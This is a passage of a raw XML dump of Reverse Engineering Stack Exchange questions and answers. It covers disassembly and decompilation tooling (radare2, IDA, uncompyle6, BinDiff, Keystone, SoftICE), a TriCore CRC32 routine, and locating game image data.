./test&#xA;test.c:f1&#xA;test.c:f2&#xA;test.c:f3&#xA;test.c:main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Use the &lt;code&gt;pxr&lt;/code&gt; to annotate while dumping as hex&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[rese] r2 -AA -qq -c 'pxr 0x30 @ sym..init_array' test &#xA;0x00200da0 0x0000000000000680   ........ @loc.__init_array_start 1664 (.text) sym.frame_dummy entry.init0 R X 'push rbp'&#xA;0x00200da8 0x000000000000068a   ........ 1674 (.text) sym.f1 sym.f1 R X 'push rbp'&#xA;0x00200db0 0x000000000000069d   ........ 1693 (.text) sym.f2 sym.f2 R X 'push rbp'&#xA;0x00200db8 0x00000000000006b0   ........ 1712 (.text) sym.f3 sym.f3 R X 'push rbp'&#xA;0x00200dc0 0x0000000000000640   @....... @loc.__init_array_end 1600 (.text) sym.__do_global_dtors_aux sym.__do_global_dtors_aux R X 'cmp byte [rip + 0x2009c9], 0'&#xA;0x00200dc8 0x0000000000000001   ........ @obj._DYNAMIC 0 loc.imp._ITM_deregisterTMCloneTable R X 'jg 0x47'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2020-11-09T17:10:46.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26277" PostTypeId="2" ParentId="1701" CreationDate="2020-11-09T18:03:04.080" Score="0" Body="&lt;p&gt;I recommend &lt;code&gt;uncompyle6&lt;/code&gt;. it can decompile pyc/pyo files and it is compatible with python 3&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;pip install uncompyle6&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;uncompyle6 FILE.pyc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34864" LastEditorUserId="36781" LastEditDate="2021-05-08T00:35:55.750" LastActivityDate="2021-05-08T00:35:55.750" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26278" PostTypeId="1" CreationDate="2020-11-10T04:25:47.780" Score="2" ViewCount="278" Body="&lt;p&gt;I'm looking for a tool like Beyond Compare, meld, kdiff, etc. which can be used to compare two disassembled binaries. I know that there's binary (hex) comparison, which shows difference by hex values, but I'm looking for something that shows op-codes and arguments.&lt;/p&gt;&#xA;&lt;p&gt;Anyone knows something that can help ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MbI2c.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MbI2c.gif&quot; alt=&quot;image below is x86, i want ARM32&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34871" LastEditorUserId="34871" LastEditDate="2020-11-10T04:43:30.737" LastActivityDate="2020-11-10T08:40:11.600" Title="how can I diff two ARM32 binaries at assembly code level?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26279" PostTypeId="2" ParentId="21798" CreationDate="2020-11-10T08:35:25.853" Score="1" Body="&lt;p&gt;The &lt;code&gt;NPRG9x07.mbn&lt;/code&gt; and &lt;code&gt;ENPRG9x07.mbn&lt;/code&gt; files are both regular &lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_and_Linkable_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF&lt;/a&gt; files, which should be recognized without problem by most disassemblers and decompilers.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;NPRG9x07.mbn&lt;/code&gt; file is used for regular flashing, and loads at 0x80000000, while the &lt;code&gt;ENPRG9x07.mbn&lt;/code&gt; file is used as the emergency downloader, and loads at 0x08000000.&lt;/p&gt;&#xA;&lt;p&gt;Both are uploaded to the device using the sahara protocol, where the upload of &lt;code&gt;ENPRG9x07.mbn&lt;/code&gt; is handled by the bootrom, while &lt;code&gt;NPRG9x07.mbn&lt;/code&gt; is handled by the regular bootloader: &lt;code&gt;sbl1.mbn&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Both implement the same download protocol, the one which starts with the flashingtool sending &lt;code&gt;&amp;quot;QCOM fast download protocol host&amp;quot;&lt;/code&gt; and the device responding with &lt;code&gt;&amp;quot;QCOM fast download protocol targ&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2020-11-10T08:35:25.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26280" PostTypeId="2" ParentId="26278" CreationDate="2020-11-10T08:40:11.600" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinnDiff&lt;/a&gt; and &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;nofollow noreferrer&quot;&gt;Diaphora&lt;/a&gt; could be helpful for what you want.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-11-10T08:40:11.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26281" PostTypeId="1" CreationDate="2020-11-10T11:48:20.210" Score="1" ViewCount="223" Body="&lt;p&gt;I want to calculate CRC32 for Delphi mt38 and found the below assembly algorithm and converted it to C. It seems that this algorithm is defined for n = 256 or 1024. I want to calculate CRC32 for n = 1638400 and expect to get CRC32 = 0xFB6568AF for input data = {0}, but it  doesn't give the expected answer. How can I calculate it?&#xA;Thank you in advance.&lt;/p&gt;&#xA;&lt;p&gt;The assembly algorithm:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CheckSum:                               ; CODE XREF: sub_CDBA6&#xA;            movh.a          a15, #@HIS(CKS_loop_count)&#xA;            lea             a15, [a15]@LOS(CKS_loop_count)&#xA;            ld.b            d15, [a15]0&#xA;            jz16            d15, loc_CE256&#xA;            mov32           d14, #0x100&#xA;            j16             loc_CE25A&#xA;; ---------------------------------------------------------------------------&#xA;&#xA;loc_CE256:                              ; CODE XREF: CheckSum&#xA;            mov32           d14, #0x400&#xA;&#xA;loc_CE25A:                              ; CODE XREF: CheckSum&#xA;            mov16           d13, #0&#xA;            movh.a          a14, #@HIS(table_address)&#xA;            lea             a14, [a14]@LOS(table_address)&#xA;            j16             loc_CE2FA&#xA;; ---------------------------------------------------------------------------&#xA;&#xA;loc_CE266:                              ; CODE XREF: CheckSum:loc_CE2FA&#xA;            movh.a          a15, #@HIS(DATA_address)&#xA;            ld32.a          a7, [a15]@LOS(DATA_address)&#xA;            ld16.bu         d10, [a7]&#xA;            ld32.w          d12, dword_D0000D34&#xA;            ld32.w          d11, dword_D0000D30&#xA;            jlt.u           d12, d11, loc_CE286&#xA;            call32          sub_7FCC0&#xA;            add16           d11, d2&#xA;            jlt.u           d12, d11, loc_CE2A8&#xA;&#xA;loc_CE286:                              ; CODE XREF: CheckSum+36&#xA;            mov.u           d6, #0xFFFF&#xA;            ld32.w          d15, CRC_value&#xA;            sh32            d7, d15, #-8&#xA;            addih           d6, d6, #0xFF&#xA;            and16           d7, d6&#xA;            xor16           d15, d10&#xA;            and32           d15, d15, #0xFF&#xA;            addsc16.a       a15, a14, d15, #2&#xA;            ld16.w          d15, [a15]&#xA;            xor16           d15, d7&#xA;            st32.w          CRC_value, d15&#xA;loc_CE2A8:                              ; CODE XREF: CheckSum+40&#xA;            movh.a          a15, #@HIS(DATA_address)&#xA;            ld32.a          a7, [a15]@LOS(DATA_address)&#xA;            add16.a         a7, #1&#xA;            lea             a15, [a15]@LOS(DATA_address)&#xA;            st16.a          [a15], a7&#xA;            ld32.w          d15, dword_D0000D34&#xA;            add16           d15, #1&#xA;            st32.w          dword_D0000D34, d15&#xA;            ld32.w          d7, dword_D0000D26&#xA;            jlt.u           d15, d7, loc_CE2F8&#xA;            ld32.w          d15, CRC_value&#xA;            movh.a          a15, #@HIS(CRC_Variable)&#xA;            st32.w          [a15]@LOS(CRC_Variable), d15&#xA;            mov16           d15, #1&#xA;            st32.b          take_CKS_var, d15&#xA;            movh.a          a15, #@HIS(CKS_loop_count)&#xA;            lea             a15, [a15]@LOS(CKS_loop_count)&#xA;            ld.b            d15, [a15]0&#xA;            jnz16           d15, loc_CE2FE&#xA;            mov16           d15, #1&#xA;            movh.a          a15, #@HIS(CKS_loop_count)&#xA;            lea             a15, [a15]@LOS(CKS_loop_count)&#xA;            st16.b          [a15], d15&#xA;            ret16&#xA;; ---------------------------------------------------------------------------&#xA;&#xA;loc_CE2F8:                              ; CODE XREF: CheckSum+84&#xA;            add16           d13, #1&#xA;&#xA;loc_CE2FA:                              ; CODE XREF: CheckSum+22&#xA;            jlt.u           d13, d14, loc_CE266&#xA;&#xA;loc_CE2FE:                              ; CODE XREF: CheckSum+A6&#xA;            ret16&#xA;; End of function CheckSum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The converted C algorithm:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;uint32_t crc32(uint32_t n, uint32_t *data) {&#xA;    uint32_t i = 0;&#xA;    uint32_t ch;&#xA;    crc = 0xFFFFFFFF;&#xA;    while (i &amp;lt; n) {&#xA;        ch = data[i];&#xA;        crc = ((crc &amp;gt;&amp;gt; 8) &amp;amp; 0xFFFFFF) ^&#xA;              *(crc32_table + ((((crc ^ ch) &amp;amp; 0xFF) &amp;lt;&amp;lt; 2) &amp;amp; 0xFF));&#xA;        i++;&#xA;    }&#xA;    return crc;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34894" LastEditorUserId="14622" LastEditDate="2020-11-11T11:43:42.160" LastActivityDate="2020-11-11T11:43:42.160" Title="Delphi mt38 CRC (Tricore 1766 Arch)" Tags="|disassembly|c|static-analysis|crc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26282" PostTypeId="1" CreationDate="2020-11-10T23:57:13.010" Score="2" ViewCount="508" Body="&lt;p&gt;Have an application that has code to detect serial port model. I'm trying to work out how it works through static analysis. I have unpacked the EXE and can find the references to the strings:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dseg:2DA8 38 32 35 30 00           a8250     db '8250',0      ; DATA XREF: seg124:4EC1↑o&#xA;dseg:2DAD 31 36 34 35 30 00        a16450    db '16450',0     ; DATA XREF: seg124:4EC6↑o&#xA;dseg:2DB3 31 36 35 35 30 00        a16550    db '16550',0     ; DATA XREF: seg124:4ECB↑o&#xA;dseg:2DB9 31 36 35 35 30 41 46 00  a16550af  db '16550AF',0   ; DATA XREF: seg124:4ED0↑o&#xA;dseg:2DC1 31 36 35 35 31 00        a16551    db '16551',0     ; DATA XREF: seg124:4ED5↑o&#xA;dseg:2DC7 31 36 35 35 32 00        a16552    db '16552',0     ; DATA XREF: seg124:4EDA↑o&#xA;dseg:2DCD 38 32 30 35 30 00        a82050    db '82050',0     ; DATA XREF: seg124:4EDF↑o&#xA;dseg:2DD3 38 32 35 31 30 00        a82510    db '82510',0     ; DATA XREF: seg124:4EE4↑o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now when when I hit &lt;kbd&gt;x&lt;/kbd&gt; to find the XRef for these I am taking to strings and the string length values:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;seg124:4EC0 04                               db    4   &#xA;seg124:4EC1 A8 2D 26 6A                      dd a8250         ; &amp;quot;8250&amp;quot;&#xA;seg124:4EC5 05                               db    5   &#xA;seg124:4EC6 AD 2D 26 6A                      dd a16450        ; &amp;quot;16450&amp;quot;&#xA;seg124:4ECA 05                               db    5   &#xA;seg124:4ECB B3 2D 26 6A                      dd a16550        ; &amp;quot;16550&amp;quot;&#xA;seg124:4ECF 07                               db    7   &#xA;seg124:4ED0 B9 2D 26 6A                      dd a16550af      ; &amp;quot;16550AF&amp;quot;&#xA;seg124:4ED4 05                               db    5   &#xA;seg124:4ED5 C1 2D 26 6A                      dd a16551        ; &amp;quot;16551&amp;quot;&#xA;seg124:4ED9 05                               db    5   &#xA;seg124:4EDA C7 2D 26 6A                      dd a16552        ; &amp;quot;16552&amp;quot;&#xA;seg124:4EDE 05                               db    5   &#xA;seg124:4EDF CD 2D 26 6A                      dd a82050        ; &amp;quot;82050&amp;quot;&#xA;seg124:4EE3 05                               db    5   &#xA;seg124:4EE4 D3 2D 26 6A                      dd a82510        ; &amp;quot;82510&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is no reference to these automatically found by IDA. Is there a value or instruction I could search for to narrow the search. i.e. a reference to &lt;code&gt;seg124:4ECB&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have also tried to use a live debugger but I get &lt;a href=&quot;https://stackoverflow.com/questions/64778815/out-of-memory-borland-turbo-debugger-ms-dos-6-22&quot;&gt;Out of Memory error&lt;/a&gt; which is why I'm trying to work it out statically&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="245" LastEditDate="2020-11-11T07:50:14.710" LastActivityDate="2020-11-16T18:40:40.590" Title="Finding Code Reference String in MS-DOS 16-bit Executable with IDA Pro" Tags="|ida|dos|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26283" PostTypeId="1" CreationDate="2020-11-11T00:29:58.257" Score="1" ViewCount="85" Body="&lt;p&gt;First post here, so sorry. I'll try to keep it short. Anyways, when trying to xref an operand (to find its offset), it brings me to an rdata function. It looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00000001419318D8                 dq offset aFhealth      ; &amp;quot;fHealth&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any idea how I can get the offset from this? It's the only thing that shows up when I search for fHealth in the strings view, and in this game the game itself is stored in the exe, not in another dll.&lt;/p&gt;&#xA;" OwnerUserId="34895" LastActivityDate="2020-11-11T00:29:58.257" Title="After jumping to the xref operand of a function I found via string searching in IDA, I am brought to an rdata section?" Tags="|ida|" AnswerCount="0" CommentCount="1" ClosedDate="2020-11-21T15:58:42.990" ContentLicense="CC BY-SA 4.0" />
  <row Id="26284" PostTypeId="1" AcceptedAnswerId="26291" CreationDate="2020-11-11T06:36:05.263" Score="4" ViewCount="1403" Body="&lt;p&gt;I'm working on a decompilation of a windows PE (with its full debug symbols in a PDB) and I'm using IDA to help with it.&lt;/p&gt;&#xA;&lt;p&gt;I want to know how I can get a list of all references to a given class member variable. When I press 'X' in a name that is a class member variable in the decompiler window it only shows xrefs to it within the actual function being decompiled. I want to see the references in all of the functions. Is that even possible without coding a script?&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2020-11-12T04:31:59.017" Title="How can I get xrefs to class member variables in IDA?" Tags="|ida|decompilation|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26285" PostTypeId="2" ParentId="5841" CreationDate="2020-11-11T10:02:31.843" Score="2" Body="&lt;p&gt;Today, several years after the original post and answers - There's another noteworthy package for generating machine code from assembly- &lt;a href=&quot;https://www.keystone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keystone&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Keystone is written in C++ but has binding for many languages (Python included), and supports multiple architectures (including x86, amd64 and ARM) so it's a perfect fit!&lt;/p&gt;&#xA;&lt;p&gt;Quoting the website's highlighted features:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, &amp;amp; X86 (include 16/32/64bit).&lt;/li&gt;&#xA;&lt;li&gt;Clean/simple/lightweight/intuitive architecture-neutral API.&lt;/li&gt;&#xA;&lt;li&gt;Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell &amp;amp; OCaml available.&lt;/li&gt;&#xA;&lt;li&gt;Native support for Windows &amp;amp; *nix (with Mac OSX, Linux, *BSD &amp;amp; Solaris confirmed).&lt;/li&gt;&#xA;&lt;li&gt;Thread-safe by design.&lt;/li&gt;&#xA;&lt;li&gt;Open source.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Keystone is part of a more extensive set of tools together with &lt;a href=&quot;https://www.capstone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; (Disassembler) and &lt;a href=&quot;https://www.unicorn-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicorn&lt;/a&gt; (Emulator).&lt;/p&gt;&#xA;&lt;p&gt;Additionally, if you just want something quick and easy (and don't mind using an online service) - shell-storm's &lt;a href=&quot;https://shell-storm.org/online/Online-Assembler-and-Disassembler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;online dis/assembler&lt;/a&gt; is also based on Keystone and Capstone&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2020-11-11T10:12:08.883" LastActivityDate="2020-11-11T10:12:08.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26286" PostTypeId="2" ParentId="26284" CreationDate="2020-11-11T10:56:24.710" Score="-1" Body="&lt;p&gt;It's not possible. You have to recover the class instance structure, then pass through all class methods and apply the class structure where it's used. Then you go and see where the class is created and track where all its instances are used and make sure that you found all the access points to the public members of the class. Then you go to the structures window and look at all the xrefs for the member that you need.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2020-11-11T10:56:24.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26288" PostTypeId="2" ParentId="26255" CreationDate="2020-11-11T11:30:58.977" Score="2" Body="&lt;p&gt;This could prove to be much harder than converting pyc to equivalent python code&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://docs.python.org/3/faq/windows.html#is-a-pyd-file-the-same-as-a-dll&quot; rel=&quot;nofollow noreferrer&quot;&gt;python docs&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Yes, .pyd files are dll’s, but there are a few differences. If you have a DLL named foo.pyd, then it must have a function PyInit_foo(). You can then write Python “import foo”, and Python will search for foo.pyd (as well as foo.py, foo.pyc) and if it finds it, will attempt to call PyInit_foo() to initialize it. You do not link your .exe with foo.lib, as that would cause Windows to require the DLL to be present.&lt;/p&gt;&#xA;&lt;p&gt;Note that the search path for foo.pyd is PYTHONPATH, not the same as the path that Windows uses to search for foo.dll. Also, foo.pyd need not be present to run your program, whereas if you linked your program with a dll, the dll is required. Of course, foo.pyd is required if you want to say import foo. In a DLL, linkage is declared in the source code with __declspec(dllexport). In a .pyd, linkage is defined in a list of available functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So you now have to reverse the native code in the pyd file assuming its a DLL and start from the exports.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2020-11-11T11:30:58.977" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26289" PostTypeId="1" AcceptedAnswerId="26315" CreationDate="2020-11-11T11:32:16.023" Score="0" ViewCount="196" Body="&lt;p&gt;Recently I work on Tricore Arch to reverse an algorithm. But I had a problem to find a constant value(4 byte). the line of code shown below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ld32.w          d4, [a0]-0x68D4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know &lt;code&gt;a0 = 0xD00032E0&lt;/code&gt; but it seems I need to find the equivalent &lt;code&gt;copy_block&lt;/code&gt; that tells I where &lt;code&gt;d000032e0&lt;/code&gt; was copied to.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1- basically what is Copy_Block in tricore?&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;2- How I can find copy_block?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31110" LastEditorUserId="31110" LastEditDate="2020-11-11T11:48:50.420" LastActivityDate="2020-11-16T14:50:39.073" Title="What is copy_block struct in Tricore Arch?" Tags="|ida|disassembly|memory|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26291" PostTypeId="2" ParentId="26284" CreationDate="2020-11-12T04:31:59.017" Score="5" Body="&lt;p&gt;The other answer is wrong; it's totally possible (assuming the IDB already has a type for the structure in question, and that type has been applied to arguments/variables in Hex-Rays).&lt;/p&gt;&#xA;&lt;p&gt;In IDA 7.4 and above (I think; might have been 7.3), right-click the variable and press &amp;quot;Jump to xref globally&amp;quot;, as follows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7UOJC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7UOJC.png&quot; alt=&quot;Jump to xref globally&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You'll get a popup with all global x-refs, as follows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oYl5Y.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oYl5Y.png&quot; alt=&quot;Global cross references&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is based on caching, so the first time you do it, you'll want to right-click and press &amp;quot;refresh&amp;quot; as in the image above (which will take a while for large databases, but is totally worth it -- this is one of my most frequently-used features in Hex-Rays).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-12T04:31:59.017" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26292" PostTypeId="1" CreationDate="2020-11-12T12:59:17.437" Score="3" ViewCount="273" Body="&lt;p&gt;I have recently ran into the most heavy JavaScript obfuscation I've seen. It is using a custom VM to execute bytecodes. I have never dealt with such obfuscation, and I am wondering where I can start to decompile the script. Not asking to be spoonfed, just looking for some tips! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="34902" LastActivityDate="2020-11-12T12:59:17.437" Title="Where to start with reversing a custom JavaScript VM?" Tags="|assembly|javascript|byte-code|virtualizers|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26293" PostTypeId="2" ParentId="22574" CreationDate="2020-11-12T13:45:25.890" Score="1" Body="&lt;p&gt;Ok first you mention Borland C++ IIRC there where decompiler for this IDE/compiler that would create source code from the executable. Diging through decompiled source might help you learn about the gfx (looking for obvious stuff like accessing VGA registers or VRAM segment)... However can't remember how it was called ...&lt;/p&gt;&#xA;&lt;p&gt;Now to improve your question and chance of valid result you need to add some info:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;some screenshots from game&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;they might help us infer the resolution of sprites, gfx algorithms used and more... From resolution and approximate number of sprites in game you can guess the size of gfx data which might help you locate it. Also does the game use 16/256/... colors per pixel?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;test data files&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;you simply can handle your files as data files and copy them onto screen as they where image of specified pixel width.  You can view your files like this. If you spot repetitive patterns you use that part of file and try to change the width of &amp;quot;image&amp;quot; until you see images (or not). There are utilities that can do this for you like &lt;a href=&quot;https://retrocomputing.stackexchange.com/a/6256/6868&quot;&gt;PV.EXE&lt;/a&gt; or write your own ...&lt;/p&gt;&#xA;&lt;p&gt;Here simple preview of your file as &lt;code&gt;512x??? 24 bit&lt;/code&gt; uncompressed image from &lt;code&gt;00000000h&lt;/code&gt; ofset:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FuSWf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FuSWf.png&quot; alt=&quot;preview&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;as you can see clearly there are some patterns... after a small bit of playing with the image width this looks like image to me:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7rEZF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7rEZF.png&quot; alt=&quot;possible image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;there are more &amp;quot;images&amp;quot; in there some with 200 others with 201 pixels width however it looks like the scan lines does not align at first which might suggest RLE encoding ...&lt;/p&gt;&#xA;&lt;p&gt;I rendered 3 bytes as single pixel but most likely there is just 1 or 2 bytes per pixel and some kind of 256 color palette is used ... so the real resolution of images is around &lt;code&gt;200*2&lt;/code&gt; or &lt;code&gt;200*3&lt;/code&gt; ... depending on encoding&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;once possible image source found try decoding it&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You need to found out the encoding if it is RAW, or RLE or LZW or differently packed/encoded, you need to know the bit width of pixels, image resolution etc ...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;in case you got more files you can infer chunk structure&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;when you open your file in hex in many fileformats there is usual to have info on separate chunks of file into which it is divided where there is usual:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;signature&#xA;offset&#xA;size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;for each or at least for the first chunk (others might be without signature) so try to find in hex from the start of a file number that is equal or slightly less than size of your file... if the position is consistent in all files you found header ...&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iIFox.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIFox.png&quot; alt=&quot;hex&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;which might ease up the parsing/decoding separating images considerably...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2020-11-12T14:40:15.187" LastActivityDate="2020-11-12T14:40:15.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26298" PostTypeId="2" ParentId="26282" CreationDate="2020-11-13T20:35:55.717" Score="2" Body="&lt;p&gt;I found the code accessing the string using &lt;a href=&quot;https://vetusware.com/download/SoftICE%202.80/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SoftICE&lt;/a&gt; for MS-DOS.&#xA;To use I did the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add SoftICE driver as first entry in CONFIG.SYS&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;DEVICE=C:\SICE\S-ICE.EXE /SYM 50&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LAv9r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAv9r.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch program and Alt+PrintScreen triggered break into SoftICE Window. (SoftIce Documentation also mentioned Ctrl+D but this didn't work for me)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Searched memory for my target string:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;s 0 L FFFFFFFF &amp;quot;16550AF&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which output memory address &lt;strong&gt;6AF0:2DB9&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Set breakpoint on read/write memory access for that location:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;bpm 6AF0:2DB9&lt;/strong&gt; RW&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pbOSm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pbOSm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;X to continue program execution&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On breakpoint the instruction &lt;strong&gt;mov al,ES:[BX]&lt;/strong&gt; access the string location&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;IDA pro was searched for the bytes i.e. &lt;strong&gt;26 8A 07 25 FF 00 75 03&lt;/strong&gt; to find the instruction:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2229" 